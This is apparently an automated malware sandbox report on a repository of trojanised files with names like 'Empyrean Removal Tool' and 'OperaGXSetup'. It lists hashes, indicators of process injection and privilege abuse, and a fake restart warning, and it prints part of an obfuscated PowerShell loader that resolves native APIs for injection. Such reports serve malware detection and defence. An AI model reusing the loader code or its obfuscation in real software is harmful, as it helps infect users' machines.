Overview
overview
10Static
static
10zvgfd-main...iz.bat
windows7-x64
1zvgfd-main...iz.bat
windows10-2004-x64
1zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main/Client.bat
windows7-x64
8zvgfd-main/Client.bat
windows10-2004-x64
10zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main... .exe
windows7-x64
10zvgfd-main... .exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10Exculsion/...dec.js
windows7-x64
3Exculsion/...dec.js
windows10-2004-x64
3zvgfd-main...ve.bat
windows7-x64
8zvgfd-main...ve.bat
windows10-2004-x64
10zvgfd-main...ve.exe
windows7-x64
10zvgfd-main...ve.exe
windows10-2004-x64
10zvgfd-main...V2.exe
windows7-x64
10zvgfd-main...V2.exe
windows10-2004-x64
10zvgfd-main...ll.exe
windows7-x64
5zvgfd-main...ll.exe
windows10-2004-x64
zvgfd-main...up.exe
windows10-2004-x64
8zvgfd-main/Output.exe
windows7-x64
3zvgfd-main/Output.exe
windows10-2004-x64
10zvgfd-main/Part 1.bat
windows7-x64
8zvgfd-main/Part 1.bat
windows10-2004-x64
10zvgfd-main...om.exe
windows7-x64
1zvgfd-main...om.exe
windows10-2004-x64
1zvgfd-main...er.exe
windows7-x64
10Analysis
-
max time kernel
63s -
max time network
21s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01-07-2024 18:28
Static task
static1
Behavioral task
behavioral1
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
zvgfd-main/Client-built.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
zvgfd-main/Client-built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
zvgfd-main/Client.bat
Resource
win7-20240611-en
Behavioral task
behavioral6
Sample
zvgfd-main/Client.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
zvgfd-main/Client_built.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
zvgfd-main/Client_built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win7-20240419-en
Behavioral task
behavioral10
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral11
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral13
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240220-en
Behavioral task
behavioral14
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral15
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win7-20240508-en
Behavioral task
behavioral16
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win10v2004-20240611-en
Behavioral task
behavioral17
Sample
zvgfd-main/Fanta.Live.bat
Resource
win7-20240611-en
Behavioral task
behavioral18
Sample
zvgfd-main/Fanta.Live.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral19
Sample
zvgfd-main/Fanta.Live.exe
Resource
win7-20240508-en
Behavioral task
behavioral20
Sample
zvgfd-main/Fanta.Live.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral21
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral23
Sample
zvgfd-main/Install.exe
Resource
win7-20240611-en
Behavioral task
behavioral24
Sample
zvgfd-main/Install.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral25
Sample
zvgfd-main/OperaGXSetup.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral26
Sample
zvgfd-main/Output.exe
Resource
win7-20240611-en
Behavioral task
behavioral27
Sample
zvgfd-main/Output.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral28
Sample
zvgfd-main/Part 1.bat
Resource
win7-20240221-en
Behavioral task
behavioral29
Sample
zvgfd-main/Part 1.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral30
Sample
zvgfd-main/Phantom.exe
Resource
win7-20240508-en
Behavioral task
behavioral31
Sample
zvgfd-main/Phantom.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral32
Sample
zvgfd-main/PyMain Installer.exe
Resource
win7-20240611-en
Errors
General
-
Target
zvgfd-main/Install.exe
-
Size
164KB
-
MD5
319a41dd1934848abc8a5df381540481
-
SHA1
24ad88753d62ae5e38c3b6caba45bef5c70f7699
-
SHA256
abde8270375bf984b9a8bf1c15ff77f9e33ad185c7305471e05feb80843ee5bc
-
SHA512
929ca873880db0706ab3d76d98acd343dafab2145fafa3aa05c273b3cf451aac16d1ce71776a9e1fde7a794f172d60dc1536876193bd510de8a259c3f43211cf
-
SSDEEP
3072:xQpsM8ulc/LGjoOYDqFPgdt3oJ4xbnaldp9pq1N1dIfnXSxmPRnSee9:xQpsMjlc/LGMAFet30Kbml41N1dINP4p
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4920 created 588 4920 powershell.EXE winlogon.exe -
Drops file in System32 directory 10 IoCs
Processes:
svchost.exepowershell.EXEsvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4920 set thread context of 1464 4920 powershell.EXE dllhost.exe -
Modifies data under HKEY_USERS 49 IoCs
Processes:
powershell.EXEsvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\DeviceId = "<Data LastUpdatedTime=\"1719858709\"><User username=\"02PPPIANLVDAFJAX\"><HardwareInfo BoundTime=\"1719858709\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02pppianlvdafjax" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\DeviceId = "<Data LastUpdatedTime=\"1719858709\"><User username=\"02PPPIANLVDAFJAX\"/></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exewlrmdr.exepid process 4920 powershell.EXE 4920 powershell.EXE 4920 powershell.EXE 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 5012 wlrmdr.exe 5012 wlrmdr.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe 1464 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.EXEdllhost.exeExplorer.EXEdwm.exesvchost.exedescription pid process Token: SeDebugPrivilege 4920 powershell.EXE Token: SeDebugPrivilege 4920 powershell.EXE Token: SeDebugPrivilege 1464 dllhost.exe Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 384 dwm.exe Token: SeCreatePagefilePrivilege 384 dwm.exe Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2324 svchost.exe Token: SeIncreaseQuotaPrivilege 2324 svchost.exe Token: SeSecurityPrivilege 2324 svchost.exe Token: SeTakeOwnershipPrivilege 2324 svchost.exe Token: SeLoadDriverPrivilege 2324 svchost.exe Token: SeSystemtimePrivilege 2324 svchost.exe Token: SeBackupPrivilege 2324 svchost.exe Token: SeRestorePrivilege 2324 svchost.exe Token: SeShutdownPrivilege 2324 svchost.exe Token: SeSystemEnvironmentPrivilege 2324 svchost.exe Token: SeUndockPrivilege 2324 svchost.exe Token: SeManageVolumePrivilege 2324 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2324 svchost.exe Token: SeIncreaseQuotaPrivilege 2324 svchost.exe Token: SeSecurityPrivilege 2324 svchost.exe Token: SeTakeOwnershipPrivilege 2324 svchost.exe Token: SeLoadDriverPrivilege 2324 svchost.exe Token: SeSystemtimePrivilege 2324 svchost.exe Token: SeBackupPrivilege 2324 svchost.exe Token: SeRestorePrivilege 2324 svchost.exe Token: SeShutdownPrivilege 2324 svchost.exe Token: SeSystemEnvironmentPrivilege 2324 svchost.exe Token: SeUndockPrivilege 2324 svchost.exe Token: SeManageVolumePrivilege 2324 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2324 svchost.exe Token: SeIncreaseQuotaPrivilege 2324 svchost.exe Token: SeSecurityPrivilege 2324 svchost.exe Token: SeTakeOwnershipPrivilege 2324 svchost.exe Token: SeLoadDriverPrivilege 2324 svchost.exe Token: SeSystemtimePrivilege 2324 svchost.exe Token: SeBackupPrivilege 2324 svchost.exe Token: SeRestorePrivilege 2324 svchost.exe Token: SeShutdownPrivilege 2324 svchost.exe Token: SeSystemEnvironmentPrivilege 2324 svchost.exe Token: SeUndockPrivilege 2324 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wlrmdr.exepid process 5012 wlrmdr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
powershell.EXEdllhost.exelsass.exewinlogon.exedescription pid process target process PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 4920 wrote to memory of 1464 4920 powershell.EXE dllhost.exe PID 1464 wrote to memory of 588 1464 dllhost.exe winlogon.exe PID 1464 wrote to memory of 676 1464 dllhost.exe lsass.exe PID 1464 wrote to memory of 960 1464 dllhost.exe svchost.exe PID 676 wrote to memory of 2512 676 lsass.exe sysmon.exe PID 1464 wrote to memory of 384 1464 dllhost.exe dwm.exe PID 676 wrote to memory of 2512 676 lsass.exe sysmon.exe PID 1464 wrote to memory of 744 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 652 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1048 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1092 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1104 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1120 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1260 1464 dllhost.exe svchost.exe PID 676 wrote to memory of 2512 676 lsass.exe sysmon.exe PID 1464 wrote to memory of 1288 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1296 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1376 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1472 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1524 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1532 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1640 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1672 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1700 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1756 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1764 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1876 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1932 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1940 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2016 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 1684 1464 dllhost.exe spoolsv.exe PID 1464 wrote to memory of 2128 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2248 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2324 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2372 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2380 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2420 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2512 1464 dllhost.exe sysmon.exe PID 1464 wrote to memory of 2520 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2536 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2544 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 2936 1464 dllhost.exe unsecapp.exe PID 1464 wrote to memory of 780 1464 dllhost.exe sihost.exe PID 1464 wrote to memory of 2084 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 3160 1464 dllhost.exe taskhostw.exe PID 1464 wrote to memory of 3212 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 3412 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 3480 1464 dllhost.exe Explorer.EXE PID 1464 wrote to memory of 3604 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 3796 1464 dllhost.exe DllHost.exe PID 1464 wrote to memory of 3960 1464 dllhost.exe RuntimeBroker.exe PID 1464 wrote to memory of 3204 1464 dllhost.exe RuntimeBroker.exe PID 1464 wrote to memory of 2960 1464 dllhost.exe svchost.exe PID 1464 wrote to memory of 4604 1464 dllhost.exe svchost.exe PID 588 wrote to memory of 5012 588 winlogon.exe wlrmdr.exe PID 588 wrote to memory of 5012 588 winlogon.exe wlrmdr.exe PID 1464 wrote to memory of 1132 1464 dllhost.exe svchost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b4a29e28-ef24-430e-b2b1-96dbe061b69e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wlrmdr.exe-s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 32⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fcPxEybymrDc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$LiPcPRKzMASPac,[Parameter(Position=1)][Type]$byMcZjwlFZ)$ooaFPUJPlWF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+'e',$False).DefineType('M'+[Char](121)+''+'D'+'e'+'l'+''+[Char](101)+'g'+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+'l'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'Pu'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$ooaFPUJPlWF.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$LiPcPRKzMASPac).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$ooaFPUJPlWF.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+'k'+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+'r'+[Char](116)+'ual',$byMcZjwlFZ,$LiPcPRKzMASPac).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'ime'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $ooaFPUJPlWF.CreateType();}$SbVlXTTsEHJfE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'eN'+'a'+''+'t'+'i'+[Char](118)+'eM'+[Char](101)+'t'+[Char](104)+''+'o'+'d'+'s'+'');$vOllycWJtPjugG=$SbVlXTTsEHJfE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AdgEUAMYwMNvRMkmMTx=fcPxEybymrDc 